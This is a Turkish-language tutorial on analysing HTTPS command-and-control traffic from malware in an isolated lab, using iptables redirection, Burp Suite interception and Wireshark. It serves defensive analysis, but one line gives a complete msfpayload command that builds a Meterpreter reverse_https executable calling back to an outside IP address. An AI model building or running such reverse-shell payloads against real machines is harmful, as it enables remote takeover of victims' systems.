Ağ trafiği analizi, zararlı yazılım analizinin önemli bir bölümüdür. Günümüz zararlılarının komuta merkeziyle şifreli iletişim kurma eğilimi düşünüldüğünde bu trafiği şifresiz olarak elde edebilmenin gerekliliği de anlaşılmaktadır. Yazıda SSL kullanan bir zararlının trafiğinin nasıl analiz edilebileceği komuta merkeziyle HTTPS kullanarak iletişim kuran zararlı örneği üzerinden anlatılmıştır.
Kullanılan Araçlar:
-
Burp Suite
-
iptables
-
Wireshark
Zararlı analizinin diğer birçok adımında olduğu gibi ilk olarak güvenli ve kontrol edilebilir bir lab ortamı sağlamakla işe başlanılır. Bunun için zararlının çalıştırılacağı makine(örnekte WinXP) ve trafik analizi için kullanılacak makine(örnekte Kali Linux) tercihen host-only bir ağ arayüzü ile bağlanır. WinXP(örnekte: 10.10.10.50) varsayılan ağ geçidi olarak Linux makineyi(örnekte: 10.10.10.1) kullanacak şekilde ayarlanır.
Tabii aynı işlevi görecek alternatif yapılandırmalar da kullanılabilir.
Devamında Linux makineyi gateway olarak kullanabilmek için paket yönlendirme ve IP masquerade özellikleri aktif edilir. Terminalde
“sysctl -w net.ipv4.ip_forward=1” komutu ile paket yönlendirme aktif edilir.
“sysctl -a | grep net.ipv4.ip_forward” komutu ile değerin 1 olarak olduğu doğrulanabilir.
“iptables -t nat -A POSTROUTING -j MASQUERADE” komutu ile masquerade özelliği aktif edilir. Bu aşamada linux sistemin internet(veya başka bir ağa) erişimi varsa WinXP üzerinden de erişimin gerçekleştirilebiliyor olması gerekir.
Yine iptables kullanılarak analiz edilmek istenen bağlantının kullandığı portlar trafiği inceleyip gerektiğinde değiştirebilmek için kullanılacak uygulamaya (Burp Suite) yönlendirilir. Bunun için
“iptables -t nat -A PREROUTING -m multiport -p tcp –dport 80,443 -i vmnet2 -j REDIRECT –to-ports 8080” veya eşdeğer bir komut kullanılabilir. Komut kısaca iptables’a vmnet2 (1. adımda bahsedilen host-only ağ arayüzünün adı) arayüzünden gelen ve hedefi 80 veya 443 portları olan TCP bağlantılarını 8080 portuna yönlendirecek bir kural ekliyor. Yapılan işlemler sonucu iptables’a eklenen kurallar
“iptables -nL -t nat” komutu ile görülebilir.
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
REDIRECT tcp — 0.0.0.0/0 0.0.0.0/0 multiport dports 80,443 redir ports 8080
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
MASQUERADE all — 0.0.0.0/0 0.0.0.0/0
Daha sonra Burp Suite çalıştırılıp “Proxy” sekmesinin “Options” alt sekmesi açılır. “Proxy Listeners” bölümünden “Add” tuşuna basılıp ayarları şu şekilde yapılır.
Binding->Bind to Port: 8080
->Specific Address: 10.10.10.1
Request handling-> Support invisible proxying işaretli
Certificate->Generate CA-signed per-host certificates seçili
Bu ayarlar örnek olup farklı durumlar veya amaçlar için değişik ayarlar yapılması mümkündür. Daha sonra ayarlar kaydedilip yeni kaydedilen listenerın “Running” kutusu işaretlerek çalıştırılır. Bu aşamada yapılan ayarlar WinXP üzerinden bir web tarayıcısı yardımıyla doğrulanabilir.
Son olarak analiz edilmek istenen zararlı WinXP’de çalıştırılarak trafiği BurpSuite üzerinde incelenebilir. Örnekte Metasploit’in reverse_https payloadı çalıştırıldığında yaptığı HTTP GET isteği burp ile trafiğin tamamı da wireshark ile yakalanmıştır. Payloadın çalıştırılabilir hali msfpayload yüklü bir makinede “msfpayload windows/meterpreter/reverse_https LHOST=100.200.111.22 LPORT=443 X > rhttps.exe” komutu ile elde edilebilir.
Örneğin aksine bazı zararlılar BurpSuite’in sağladığı sertifikayı kabul etmeyebilirler. Bu durumda zararlıya çalışma anında bir debugger aracılığıyla müdahale ederek sertifikayı kabul etmesini sağlamak bir çözüm olabilir.
Onur ALANBEL <onur.alanbel@bga.com.tr>